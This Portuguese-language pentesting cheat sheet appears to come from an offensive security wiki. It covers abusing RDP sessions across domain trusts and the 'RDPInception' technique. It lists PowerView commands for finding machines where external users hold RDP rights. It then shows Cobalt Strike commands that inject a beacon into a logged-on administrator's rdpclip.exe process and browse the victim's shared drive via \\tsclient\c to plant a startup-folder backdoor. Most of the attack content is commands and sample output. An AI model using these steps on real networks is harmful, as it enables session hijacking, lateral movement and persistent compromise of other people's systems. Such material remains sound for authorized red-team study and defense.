## Abuso de Sessões RDP
|
|
|
|
Se o **grupo externo** tiver **acesso RDP** a qualquer **computador** no domínio atual, um **atacante** pode **comprometer esse computador e esperar**.
|
|
|
|
Assim que o usuário acessar via RDP, o **atacante pode se mover para a sessão desse usuário** e abusar de suas permissões no domínio externo.
|
|
```powershell
|
|
# Supposing the group "External Users" has RDP access in the current domain
|
|
## lets find where they could access
|
|
## The easiest way would be with bloodhound, but you could also run:
|
|
Get-DomainGPOUserLocalGroupMapping -Identity "External Users" -LocalGroup "Remote Desktop Users" | select -expand ComputerName
|
|
#or
|
|
Find-DomainLocalGroupMember -GroupName "Remote Desktop Users" | select -expand ComputerName
|
|
|
|
# Then, compromise the listed machines, and wait til someone from the external domain logs in:
|
|
net logons
|
|
Logged on users at \\localhost:
|
|
EXT\super.admin
|
|
|
|
# With cobalt strike you could just inject a beacon inside of the RDP process
|
|
beacon> ps
|
|
PID PPID Name Arch Session User
|
|
--- ---- ---- ---- ------- -----
|
|
...
|
|
4960 1012 rdpclip.exe x64 3 EXT\super.admin
|
|
|
|
beacon> inject 4960 x64 tcp-local
|
|
## From that beacon you can just run powerview modules interacting with the external domain as that user
|
|
```
|
|

## RDPInception
|
|
|
|
Se um usuário acessar via **RDP em uma máquina** onde um **atacante** está **esperando** por ele, o atacante será capaz de **injetar um beacon na sessão RDP do usuário** e se a **vítima montou sua unidade** ao acessar via RDP, o **atacante poderia acessá-la**.
|
|
|
|
Nesse caso, você poderia simplesmente **comprometer** o **computador original da vítima** escrevendo um **backdoor** na **pasta de inicialização**.
|
|
```powershell
|
|
# Wait til someone logs in:
|
|
net logons
|
|
Logged on users at \\localhost:
|
|
EXT\super.admin
|
|
|
|
# With cobalt strike you could just inject a beacon inside of the RDP process
|
|
beacon> ps
|
|
PID PPID Name Arch Session User
|
|
--- ---- ---- ---- ------- -----
|
|
...
|
|
4960 1012 rdpclip.exe x64 3 EXT\super.admin
|
|
|
|
beacon> inject 4960 x64 tcp-local
|
|
|
|
# There's a UNC path called tsclient which has a mount point for every drive that is being shared over RDP.
|
|
## \\tsclient\c is the C: drive on the origin machine of the RDP session
|
|
beacon> ls \\tsclient\c
|
